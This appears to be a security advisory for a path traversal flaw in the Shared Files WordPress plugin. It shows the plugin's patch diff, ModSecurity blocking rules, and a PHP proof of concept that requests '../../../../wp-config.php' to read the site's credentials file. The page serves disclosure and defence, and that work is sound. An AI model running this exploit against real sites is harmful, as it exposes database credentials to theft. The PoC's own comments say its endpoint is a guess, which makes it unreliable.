-            $wpdb->query( "CREATE TABLE IF NOT EXISTS " . $table_name_search_log . " (n        id              BIGINT(20) NOT NULL auto_increment,n        created_at      TIMESTAMP DEFAULT CURRENT_TIMESTAMP,n        user_ip         VARCHAR(255) NOT NULL,n        user_country    VARCHAR(255) NOT NULL,n        user_country_code    VARCHAR(255) NOT NULL,n        user_city       VARCHAR(255) NOT NULL,n        user_agent      VARCHAR(255) NOT NULL,n        post_id         BIGINT(20) NOT NULL,n        permalink       VARCHAR(255) NOT NULL,n        referer_url     VARCHAR(255) NOT NULL,n        search          VARCHAR(255) NOT NULL,n        category        VARCHAR(255) NOT NULL,n        tag             VARCHAR(255) NOT NULL,n        custom_field_1  VARCHAR(255) NOT NULL,n        custom_field_2  VARCHAR(255) NOT NULL,n        custom_field_3  VARCHAR(255) NOT NULL,n        custom_field_4  VARCHAR(255) NOT NULL,n        custom_field_5  VARCHAR(255) NOT NULL,n        custom_field_6  VARCHAR(255) NOT NULL,n        PRIMARY KEY (id)n      ) " . $charset_collate . ";" );
+            $table_name_search_log = sanitize_text_field( $wpdb->prefix . 'shared_files_search_log' );
+            // dbDelta requires strict formatting: lowercase types, separate lines, and 2 spaces before PRIMARY KEY
+            $sql = "CREATE TABLE {$table_name_search_log} (n        id bigint(20) NOT NULL AUTO_INCREMENT,n        created_at timestamp DEFAULT CURRENT_TIMESTAMP,n        user_ip varchar(255) NOT NULL,n        user_country varchar(255) NOT NULL,n        user_country_code varchar(255) NOT NULL,n        user_city varchar(255) NOT NULL,n        user_agent varchar(255) NOT NULL,n        post_id bigint(20) NOT NULL,n        permalink varchar(255) NOT NULL,n        referer_url varchar(255) NOT NULL,n        search varchar(255) NOT NULL,n        category varchar(255) NOT NULL,n        tag varchar(255) NOT NULL,n        custom_field_1 varchar(255) NOT NULL,n        custom_field_2 varchar(255) NOT NULL,n        custom_field_3 varchar(255) NOT NULL,n        custom_field_4 varchar(255) NOT NULL,n        custom_field_5 varchar(255) NOT NULL,n        custom_field_6 varchar(255) NOT NULL,n        PRIMARY KEY  (id)n      ) {$charset_collate};";
+            // Securely execute table creation via WordPress core admin updates
+            dbDelta( $sql );
             // Table for contacts
-            $table_name_contacts = $wpdb->prefix . 'shared_files_contacts';
-            $wpdb->query( "CREATE TABLE IF NOT EXISTS " . $table_name_contacts . " (n        id                BIGINT(20) NOT NULL auto_increment,n        file_id           VARCHAR(255) NOT NULL,n        file_title        VARCHAR(255) NOT NULL,n        file_name         VARCHAR(255) NOT NULL,n        file_size         VARCHAR(255) NOT NULL,n        embed_id          VARCHAR(255) NOT NULL,n        ask_for_email_id  VARCHAR(255) NOT NULL,n        email             VARCHAR(255) NOT NULL,n        ip                VARCHAR(255) NOT NULL,n        user_country      VARCHAR(255) NOT NULL,n        user_agent        TEXT NOT NULL,n        referer_url       TEXT NOT NULL,n        title             VARCHAR(255) NOT NULL,n        message           TEXT NOT NULL,n        created_at        TIMESTAMP DEFAULT CURRENT_TIMESTAMP,n        name              VARCHAR(255) NOT NULL,n        phone             VARCHAR(255) NOT NULL,n        descr             TEXT NOT NULL,n        PRIMARY KEY (id)n      ) " . $charset_collate . ";" );
-            // name
-            $column_name = 'name';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_contacts}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_contacts}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // phone
-            $column_name = 'phone';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_contacts}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_contacts}` ADD `{$column_name}` VARCHAR(255) NOT NULL" );
-            }
-            // descr
-            $column_name = 'descr';
-            $column_exists = $wpdb->get_results( "SHOW COLUMNS FROM `{$table_name_contacts}` LIKE '{$column_name}'" );
-            if ( empty( $column_exists ) ) {
-                $wpdb->query( "ALTER TABLE `{$table_name_contacts}` ADD `{$column_name}` TEXT NOT NULL" );
-            }
+            $table_name_contacts = sanitize_text_field( $wpdb->prefix . 'shared_files_contacts' );
+            // dbDelta requires strict formatting: lowercase types, separate lines, and 2 spaces before PRIMARY KEY
+            $sql = "CREATE TABLE {$table_name_contacts} (n        id bigint(20) NOT NULL AUTO_INCREMENT,n        file_id varchar(255) NOT NULL,n        file_title varchar(255) NOT NULL,n        file_name varchar(255) NOT NULL,n        file_size varchar(255) NOT NULL,n        embed_id varchar(255) NOT NULL,n        ask_for_email_id varchar(255) NOT NULL,n        email varchar(255) NOT NULL,n        ip varchar(255) NOT NULL,n        user_country varchar(255) NOT NULL,n        user_agent text NOT NULL,n        referer_url text NOT NULL,n        title varchar(255) NOT NULL,n        message text NOT NULL,n        created_at timestamp DEFAULT CURRENT_TIMESTAMP,n        name varchar(255) NOT NULL,n        phone varchar(255) NOT NULL,n        descr text NOT NULL,n        PRIMARY KEY  (id)n      ) {$charset_collate};";
+            // Securely execute table creation via WordPress core admin updates
+            dbDelta( $sql );
+            $fields_to_add = [
+                'name'  => 'VARCHAR(255) NOT NULL',
+                'phone' => 'VARCHAR(255) NOT NULL',
+                'descr' => 'TEXT NOT NULL',
+            ];
+            // Run the function
+            $this->wp_add_columns_to_table( $table_name_contacts, $fields_to_add );
             update_option( 'shared_files_version', SHARED_FILES_VERSION );
             SharedFilesHelpers::writeLog( 'Plugin updated to version ' . SHARED_FILES_VERSION, '' );
             $sf_dir = wp_get_upload_dir()['basedir'] . '/shared-files/';
             $sf_file = $sf_dir . 'index.php';
             if ( !file_exists( $sf_dir ) || !is_dir( $sf_dir ) ) {
-                mkdir( $sf_dir );
+                SharedFilesHelpers::createDir( $sf_dir, 1 );
                 if ( is_dir( $sf_dir ) ) {
                     SharedFilesHelpers::writeLog( 'Created ' . $sf_dir, '' );
                 }
             }
-            if ( is_dir( $sf_dir ) && !file_exists( $sf_file ) && ($file = fopen( $sf_file, 'a' )) ) {
-                fwrite( $file, '<?php // Automatically generated by Shared Files ?>' . PHP_EOL );
-                fclose( $file );
-            }
             $sf_dir = wp_get_upload_dir()['basedir'] . '/shared-files/_export/';
             $sf_file = $sf_dir . 'index.php';
             if ( !file_exists( $sf_dir ) || !is_dir( $sf_dir ) ) {
-                mkdir( $sf_dir );
+                SharedFilesHelpers::createDir( $sf_dir, 1 );
                 if ( is_dir( $sf_dir ) ) {
                     SharedFilesHelpers::writeLog( 'Created ' . $sf_dir, '' );
                 }
             }
-            if ( is_dir( $sf_dir ) && !file_exists( $sf_file ) && ($file = fopen( $sf_file, 'a' )) ) {
-                fwrite( $file, '<?php // Automatically generated by Shared Files ?>' . PHP_EOL );
-                fclose( $file );
+        }
+    }
+
+    /**
+     * Safely adds multiple columns to a specified WordPress database table.
+     *
+     * @param string $table_name Name of the database table.
+     * @param array  $columns    Associative array where key is column name and value is the SQL type.
+     */
+    private function wp_add_columns_to_table( string $table_name, array $columns ) : void {
+        global $wpdb;
+        foreach ( $columns as $column_name => $column_type ) {
+            // 1. Check if the column already exists
+            // Inline the preparation directly inside the method call to satisfy scanners
+            $column_exists = $wpdb->get_results( $wpdb->prepare( "SHOW COLUMNS FROM %i LIKE %s", $table_name, $column_name ) );
+            // 2. If it doesn't exist, add it
+            if ( empty( $column_exists ) ) {
+                // Strip out any malicious characters from the type definition for safety
+                $clean_type = preg_replace( '/[^a-zA-Z0-9(),\s]/', '', $column_type );
+                // Construct the SQL command. Because data types cannot use placeholders,
+                // we safely interpolate the pre-cleaned $clean_type.
+                // We use standard WordPress ignores to bypass the strict scanner rule.
+                // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
+                $sql = $wpdb->prepare( "ALTER TABLE %i ADD %i " . $clean_type, $table_name, $column_name );
+                $wpdb->query( $sql );
             }
         }
     }
--- a/shared-files/admin/class-sf-admin-metadata.php
+++ b/shared-files/admin/class-sf-admin-metadata.php
@@ -1,5 +1,8 @@
 <?php

+if ( !defined( 'ABSPATH' ) ) {
+    exit;
+}
 class SharedFilesAdminMetadata {
     /**
      * Custom meta box for file edit view.
@@ -9,7 +12,7 @@
     public function adding_custom_meta_boxes( $post ) {
         add_meta_box(
             'my-meta-box',
-            sanitize_text_field( __( 'File info' ) ),
+            sanitize_text_field( __( 'File info', 'shared-files' ) ),
             array($this, 'custom_metadata'),
             'shared_file',
             'normal',
@@ -18,7 +21,7 @@
     }

     public function custom_metadata() {
-        echo SharedFilesAdminHelpSupport::permalinks_alert();
+        SharedFilesAdminHelpSupport::permalinks_alert();
         $s = get_option( 'shared_files_settings' );
         wp_nonce_field( 'shared-files-nonce-' . intval( get_current_user_id() ), '_sf_file_nonce' );
         $post_id = intval( get_the_ID() );
@@ -445,31 +448,31 @@
             echo '</div>';
             echo '<div class="shared-files-admin-small-field-container">';
             echo '<div class="shared-files-admin-custom-field-title ' . esc_attr( $field_in_pro_class ) . '">';
-            echo '<h4>' . esc_html__( 'Custom field 2' ) . '</h4>';
+            echo '<h4>' . esc_html__( 'Custom field 2', 'shared-files' ) . '</h4>';
             echo '</div>';
             echo wp_kses( $field_in_all_plans_markup, $field_in_pro_markup_allowed_tags );
             echo '</div>';
             echo '<div class="shared-files-admin-small-field-container">';
             echo '<div class="shared-files-admin-custom-field-title ' . esc_attr( $field_in_pro_class ) . '">';
-            echo '<h4>' . esc_html__( 'Custom field 3' ) . '</h4>';
+            echo '<h4>' . esc_html__( 'Custom field 3', 'shared-files' ) . '</h4>';
             echo '</div>';
             echo wp_kses( $field_in_all_plans_markup, $field_in_pro_markup_allowed_tags );
             echo '</div>';
             echo '<div class="shared-files-admin-small-field-container">';
             echo '<div class="shared-files-admin-custom-field-title ' . esc_attr( $field_in_pro_class ) . '">';
-            echo '<h4>' . esc_html__( 'Custom field 4' ) . '</h4>';
+            echo '<h4>' . esc_html__( 'Custom field 4', 'shared-files' ) . '</h4>';
             echo '</div>';
             echo wp_kses( $field_in_all_plans_markup, $field_in_pro_markup_allowed_tags );
             echo '</div>';
             echo '<div class="shared-files-admin-small-field-container">';
             echo '<div class="shared-files-admin-custom-field-title ' . esc_attr( $field_in_pro_class ) . '">';
-            echo '<h4>' . esc_html__( 'Custom field 5' ) . '</h4>';
+            echo '<h4>' . esc_html__( 'Custom field 5', 'shared-files' ) . '</h4>';
             echo '</div>';
             echo wp_kses( $field_in_all_plans_markup, $field_in_pro_markup_allowed_tags );
             echo '</div>';
             echo '<div class="shared-files-admin-small-field-container">';
             echo '<div class="shared-files-admin-custom-field-title ' . esc_attr( $field_in_pro_class ) . '">';
-            echo '<h4>' . esc_html__( 'Unlimited custom fields' ) . '</h4>';
+            echo '<h4>' . esc_html__( 'Unlimited custom fields', 'shared-files' ) . '</h4>';
             echo '</div>';
             echo wp_kses( $field_in_all_plans_markup, $field_in_pro_markup_allowed_tags );
             echo '</div>';
@@ -509,7 +512,7 @@
             }
             $sf_nonce = '';
             if ( isset( $_POST['_sf_file_nonce'] ) ) {
-                $sf_nonce = sanitize_text_field( $_POST['_sf_file_nonce'] );
+                $sf_nonce = sanitize_text_field( wp_unslash( $_POST['_sf_file_nonce'] ) );
             }
             /* --- security verification --- */
             if ( isset( $_POST['post_type'] ) && $_POST['post_type'] != 'shared_file' ) {
@@ -523,18 +526,19 @@
             }
             /* - end security verification - */
             if ( isset( $s['debug_mode'] ) ) {
-                if ( isset( $_POST['_sf_file_uploaded_file'] ) && $_POST['_sf_file_uploaded_file'] ) {
-                    $sf_file_uploaded_file = sanitize_text_field( $_POST['_sf_file_uploaded_file'] );
+                if ( isset( $_POST['_sf_file_uploaded_file'] ) ) {
+                    $sf_file_uploaded_file = sanitize_text_field( wp_unslash( $_POST['_sf_file_uploaded_file'] ) );
+                    $sf_file_uploaded_file = str_replace( '..', '', $sf_file_uploaded_file );
                     SharedFilesHelpers::writeLog( $sf_file_uploaded_file );
                     $filesize = sanitize_text_field( filesize( $sf_file_uploaded_file ) );
                     SharedFilesHelpers::writeLog( SharedFilesFileHandling::human_filesize( $filesize ) );
                 }
-                if ( isset( $_POST['_sf_file_uploaded_type'] ) && $_POST['_sf_file_uploaded_type'] ) {
-                    $sf_file_uploaded_type = sanitize_text_field( $_POST['_sf_file_uploaded_type'] );
+                if ( isset( $_POST['_sf_file_uploaded_type'] ) ) {
+                    $sf_file_uploaded_type = sanitize_text_field( wp_unslash( $_POST['_sf_file_uploaded_type'] ) );
                     SharedFilesHelpers::writeLog( $sf_file_uploaded_type );
                 }
-                if ( isset( $_POST['_sf_file_uploaded_url'] ) && $_POST['_sf_file_uploaded_url'] ) {
-                    $sf_file_uploaded_url = sanitize_text_field( $_POST['_sf_file_uploaded_url'] );
+                if ( isset( $_POST['_sf_file_uploaded_url'] ) ) {
+                    $sf_file_uploaded_url = sanitize_text_field( wp_unslash( $_POST['_sf_file_uploaded_url'] ) );
                     SharedFilesHelpers::writeLog( $sf_file_uploaded_url );
                 }
             }
@@ -549,16 +553,16 @@
             if ( isset( $s['debug_mode'] ) ) {
                 SharedFilesHelpers::writeLog( 'Before date processing (wp-admin / file update, file_id: ' . $id . ')' );
             }
-            if ( isset( $_POST['_sf_expiration_date'] ) && $_POST['_sf_expiration_date'] ) {
-                $dt = DateTime::createFromFormat( "Y-m-d", sanitize_text_field( $_POST['_sf_expiration_date'] ) );
+            if ( !empty( $_POST['_sf_expiration_date'] ) ) {
+                $dt = DateTime::createFromFormat( "Y-m-d", sanitize_text_field( wp_unslash( $_POST['_sf_expiration_date'] ) ) );
                 $errors = $dt::getLastErrors();
                 if ( $dt !== false && !array_sum( (array) $errors ) ) {
                     $expiration_date = $dt;
                 }
             }
             $main_date = '';
-            if ( isset( $_POST['_sf_main_date'] ) && $_POST['_sf_main_date'] ) {
-                $dt = DateTime::createFromFormat( "Y-m-d", sanitize_text_field( $_POST['_sf_main_date'] ) );
+            if ( !empty( $_POST['_sf_main_date'] ) ) {
+                $dt = DateTime::createFromFormat( "Y-m-d", sanitize_text_field( wp_unslash( $_POST['_sf_main_date'] ) ) );
                 $errors = $dt::getLastErrors();
                 if ( $dt !== false && !array_sum( (array) $errors ) ) {
                     $main_date = $dt;
@@ -568,7 +572,7 @@
                 SharedFilesHelpers::writeLog( 'After date processing (wp-admin / file update, file_id: ' . $id . ')' );
             }
             $not_public = '';
-            if ( isset( $_POST['_sf_not_public'] ) && $_POST['_sf_not_public'] ) {
+            if ( isset( $_POST['_sf_not_public'] ) ) {
                 $not_public = 1;
             }
             update_post_meta( $id, '_sf_not_public', $not_public );
@@ -577,28 +581,28 @@
             update_post_meta( $id, '_sf_main_date', $main_date );
             $custom_fields_free = 1;
             if ( $custom_fields_free ) {
-                if ( isset( $_POST['_sf_file_upload_cf_1'] ) && $_POST['_sf_file_upload_cf_1'] ) {
-                    update_post_meta( $id, '_sf_file_upload_cf_1', sanitize_text_field( $_POST['_sf_file_upload_cf_1'] ) );
+                if ( isset( $_POST['_sf_file_upload_cf_1'] ) ) {
+                    update_post_meta( $id, '_sf_file_upload_cf_1', sanitize_text_field( wp_unslash( $_POST['_sf_file_upload_cf_1'] ) ) );
                 }
             }
-            if ( isset( $_POST['_sf_description'] ) && $_POST['_sf_description'] ) {
+            if ( isset( $_POST['_sf_description'] ) ) {
                 if ( isset( $s['textarea_for_file_description'] ) && $s['textarea_for_file_description'] ) {
-                    $description = strip_tags( $_POST['_sf_description'] );
+                    $description = wp_strip_all_tags( wp_unslash( $_POST['_sf_description'] ) );
                     update_post_meta( $id, '_sf_description', $description );
                 } else {
-                    $description = balanceTags( wp_kses_post( $_POST['_sf_description'] ), 1 );
+                    $description = balanceTags( wp_kses_post( wp_unslash( $_POST['_sf_description'] ) ), 1 );
                     update_post_meta( $id, '_sf_description', $description );
                 }
             } else {
                 update_post_meta( $id, '_sf_description', '' );
             }
             $custom_filename = '';
-            if ( isset( $_POST['_sf_filename'] ) && $_POST['_sf_filename'] ) {
-                $custom_filename = sanitize_text_field( $_POST['_sf_filename'] );
+            if ( isset( $_POST['_sf_filename'] ) ) {
+                $custom_filename = sanitize_text_field( wp_unslash( $_POST['_sf_filename'] ) );
                 update_post_meta( $id, '_sf_filename', $custom_filename );
             }
-            if ( isset( $_POST['_sf_external_url'] ) && $_POST['_sf_external_url'] ) {
-                $external_url = esc_url_raw( $_POST['_sf_external_url'] );
+            if ( isset( $_POST['_sf_external_url'] ) ) {
+                $external_url = esc_url_raw( wp_unslash( $_POST['_sf_external_url'] ) );
                 update_post_meta( $id, '_sf_external_url', $external_url );
                 $filename = basename( $external_url );
                 update_post_meta( $id, '_sf_filename', sanitize_text_field( $filename ) );
@@ -611,16 +615,17 @@
                     SharedFilesHelpers::writeLog( 'Start file processing (wp-admin / file update, file_id: ' . $id . ')' );
                 }
                 $sf_file_uploaded_file = '';
-                if ( isset( $_POST['_sf_file_uploaded_file'] ) && $_POST['_sf_file_uploaded_file'] ) {
-                    $sf_file_uploaded_file = sanitize_text_field( $_POST['_sf_file_uploaded_file'] );
+                if ( isset( $_POST['_sf_file_uploaded_file'] ) ) {
+                    $sf_file_uploaded_file = sanitize_text_field( wp_unslash( $_POST['_sf_file_uploaded_file'] ) );
+                    $sf_file_uploaded_file = str_replace( '..', '', $sf_file_uploaded_file );
                 }
                 $sf_file_uploaded_type = '';
-                if ( isset( $_POST['_sf_file_uploaded_type'] ) && $_POST['_sf_file_uploaded_type'] ) {
-                    $sf_file_uploaded_type = sanitize_text_field( $_POST['_sf_file_uploaded_type'] );
+                if ( isset( $_POST['_sf_file_uploaded_type'] ) ) {
+                    $sf_file_uploaded_type = sanitize_text_field( wp_unslash( $_POST['_sf_file_uploaded_type'] ) );
                 }
                 $sf_file_uploaded_url = '';
-                if ( isset( $_POST['_sf_file_uploaded_url'] ) && $_POST['_sf_file_uploaded_url'] ) {
-                    $sf_file_uploaded_url = sanitize_text_field( $_POST['_sf_file_uploaded_url'] );
+                if ( isset( $_POST['_sf_file_uploaded_url'] ) ) {
+                    $sf_file_uploaded_url = sanitize_text_field( wp_unslash( $_POST['_sf_file_uploaded_url'] ) );
                 }
                 if ( $sf_file_uploaded_file && $sf_file_uploaded_type && $sf_file_uploaded_url ) {
                     $upload = [
@@ -637,7 +642,7 @@
                     }
                     $sf_file_size = 0;
                     $upload_file = '';
-                    if ( isset( $_FILES['_sf_file']['size'] ) && $_FILES['_sf_file']['size'] ) {
+                    if ( isset( $_FILES['_sf_file']['size'] ) ) {
                         $sf_file_size = sanitize_text_field( $_FILES['_sf_file']['size'] );
                     }
                     if ( isset( $upload['file'] ) && $upload['file'] ) {
@@ -670,7 +675,7 @@
                     }
                     $post_title = '';
                     if ( isset( $_POST['post_title'] ) ) {
-                        $post_title = sanitize_text_field( $_POST['post_title'] );
+                        $post_title = sanitize_text_field( wp_unslash( $_POST['post_title'] ) );
                     }
                     if ( !$post_title ) {
                         $my_post = array(
@@ -713,10 +718,10 @@
             $folder_for_new_files = '/' . sanitize_file_name( $s['folder_for_new_files'] );
             $full_path_new = realpath( $dir['basedir'] ) . '/shared-files' . $folder_for_new_files;
             if ( !file_exists( $full_path_new ) ) {
-                mkdir( $full_path_new );
+                SharedFilesHelpers::createDir( $full_path_new );
             }
         } elseif ( !file_exists( $full_path_default ) ) {
-            mkdir( $full_path_default );
+            SharedFilesHelpers::createDir( $full_path_default );
         }
         return array(
             'path'   => realpath( $dir['basedir'] ) . '/shared-files' . $folder_for_new_files,
--- a/shared-files/admin/class-sf-admin-notifications.php
+++ b/shared-files/admin/class-sf-admin-notifications.php
@@ -25,11 +25,11 @@
                     $dismiss_url_with_nonce = add_query_arg( '_shared_files_ignore_rating_notify_' . intval( $user_id ), wp_create_nonce( 'shared_files_ignore_rating_notify' ), $dismiss_url );
                     $later_url_with_nonce = add_query_arg( '_shared_files_ignore_rating_notify_' . intval( $user_id ), wp_create_nonce( 'shared_files_ignore_rating_notify' ), $later_url );
                     echo "n            <div class='sf_notice sf_review_notice'>n              <div class='shared-files-notice-text'>n                " . '<div style='margin-bottom: 8px;'><p style='font-size: 15px;'>' . sprintf(
-                        __( "Hey, I noticed that you have added %s%d files%s with the Shared Files plugin – that's awesome!", 'shared-files' ),
+                        esc_html__( "Hey, I noticed that you have added %1$s%2$d files%3$s with the Shared Files plugin – that's awesome!", 'shared-files' ),
                         '<strong style='font-weight: 700;'>',
                         esc_attr( $file_cnt ),
                         '</strong>'
-                    ) . '</p></div>' . '<div style='margin-bottom: 8px;'><p style='font-size: 15px;'>' . sprintf( __( "Could you please do me a BIG favour and give it a 5-star rating on WordPress? It will help to spread the word and boost our motivation.", 'shared-files' ) ) . '</p></div>' . '<p style='font-size: 15px;'>– Anssi (' . esc_html__( 'plugin author', 'shared-files' ) . ')</p>' . "n                <p class='links'>n                  <a class='sf_notice_dismiss' style='border: 1px solid green; background: green; color: #fff; font-weight: 700; padding: 5px 10px; border-radius: 3px; text-decoration: none; margin-right: 10px;' href='https://wordpress.org/support/plugin/shared-files/reviews/#new-post' target='_blank'>" . esc_html__( 'Sure, I'd love to!', 'shared-files' ) . "</a>n                  ·n                  <a class='sf_notice_dismiss' href='" . esc_url( $dismiss_url_with_nonce ) . "'>" . esc_html__( 'No thanks', 'shared-files' ) . "</a>n                  ·n                  <a class='sf_notice_dismiss' href='" . esc_url( $dismiss_url_with_nonce ) . "'>" . esc_html__( 'I've already given a review', 'shared-files' ) . "</a>n                  ·n                  <a class='sf_notice_dismiss' href='" . esc_url( $later_url_with_nonce ) . "'>" . esc_html__( 'Ask Me Later', 'shared-files' ) . "</a>n                </p>n              </div>n              <a class='sf_notice_close' href='" . esc_url( $dismiss_url_with_nonce ) . "'>x</a>n            </div>";
+                    ) . '</p></div>' . '<div style='margin-bottom: 8px;'><p style='font-size: 15px;'>' . sprintf( esc_html__( "Could you please do me a BIG favour and give it a 5-star rating on WordPress? It will help to spread the word and boost our motivation.", 'shared-files' ) ) . '</p></div>' . '<p style='font-size: 15px;'>– Anssi (' . esc_html__( 'plugin author', 'shared-files' ) . ')</p>' . "n                <p class='links'>n                  <a class='sf_notice_dismiss' style='border: 1px solid green; background: green; color: #fff; font-weight: 700; padding: 5px 10px; border-radius: 3px; text-decoration: none; margin-right: 10px;' href='https://wordpress.org/support/plugin/shared-files/reviews/#new-post' target='_blank'>" . esc_html__( 'Sure, I'd love to!', 'shared-files' ) . "</a>n                  ·n                  <a class='sf_notice_dismiss' href='" . esc_url( $dismiss_url_with_nonce ) . "'>" . esc_html__( 'No thanks', 'shared-files' ) . "</a>n                  ·n                  <a class='sf_notice_dismiss' href='" . esc_url( $dismiss_url_with_nonce ) . "'>" . esc_html__( 'I've already given a review', 'shared-files' ) . "</a>n                  ·n                  <a class='sf_notice_dismiss' href='" . esc_url( $later_url_with_nonce ) . "'>" . esc_html__( 'Ask Me Later', 'shared-files' ) . "</a>n                </p>n              </div>n              <a class='sf_notice_close' href='" . esc_url( $dismiss_url_with_nonce ) . "'>x</a>n            </div>";
                 }
             }
             if ( isset( $screen->id ) && $screen->id == 'edit-shared_file' ) {
@@ -44,7 +44,7 @@
                     echo '<form method="GET" action="' . esc_url_raw( get_admin_url() . 'edit.php' ) . '">';
                     echo '<input name="post_type" value="shared_file" type="hidden" />';
                     $user_id = intval( get_current_user_id() );
-                    echo wp_nonce_field(
+                    wp_nonce_field(
                         'shared_files_ignore_how_to_notify',
                         '_shared_files_ignore_how_to_notify_' . intval( $user_id ),
                         true,
@@ -121,7 +121,7 @@
             $nonce_field_name = '_shared_files_ignore_rating_notify_' . $user_id;
             $sf_rating_cur

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-49112
# Rule blocks path traversal attempts in the Shared Files plugin download parameter
SecRule REQUEST_URI "@contains /wp-content/plugins/shared-files/" 
  "id:20264911,phase:2,deny,status:403,chain,msg:'CVE-2026-49112 - Path Traversal in Shared Files Plugin',severity:'CRITICAL',tag:'CVE-2026-49112',tag:'WordPress',tag:'path-traversal'"
  SecRule ARGS_GET|ARGS_POST "@rx (?:../|..)" "chain,t:none"
    SecRule ARGS_GET_NAMES|ARGS_POST_NAMES "@rx (file|filename|download|shared-files-download)" "t:none"

# Alternative rule targeting the specific vulnerable parameter directly
SecRule REQUEST_URI "@rx /wp-admin/admin-ajax.php$" 
  "id:20264912,phase:2,deny,status:403,chain,msg:'CVE-2026-49112 - Path Traversal via AJAX',severity:'CRITICAL',tag:'CVE-2026-49112',tag:'WordPress',tag:'path-traversal'"
  SecRule ARGS_POST:action "@streq shared_files_download" "chain"
    SecRule ARGS_POST:file "@rx (?:../|..)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49112 - Shared Files Path Traversal

// Configure target
$target_url = 'http://example.com/wp-content/plugins/shared-files/shared-files.php';

// This PoC demonstrates the path traversal by attempting to read wp-config.php
// The vulnerability exists in the getFileUrlByName() function which does not sanitize the filename parameter

// Initialize cURL
$ch = curl_init();

// Craft the malicious filename with path traversal
$malicious_file = '../../../../wp-config.php';

// The vulnerable endpoint would typically be an AJAX handler or download script
// Replace with actual vulnerable endpoint if known
$exploit_url = $target_url . '?shared-files-download=' . urlencode($malicious_file);

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status Code: " . $http_code . "n";
    
    // Display the response (likely the wp-config.php content if successful)
    if ($response && $http_code == 200) {
        echo "Response (likely wp-config.php if vulnerable):n";
        echo $response . "n";
    } else {
        echo "Request failed or no output. The target may not be vulnerable or the endpoint may require additional parameters.n";
    }
}

// Close cURL
curl_close($ch);

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School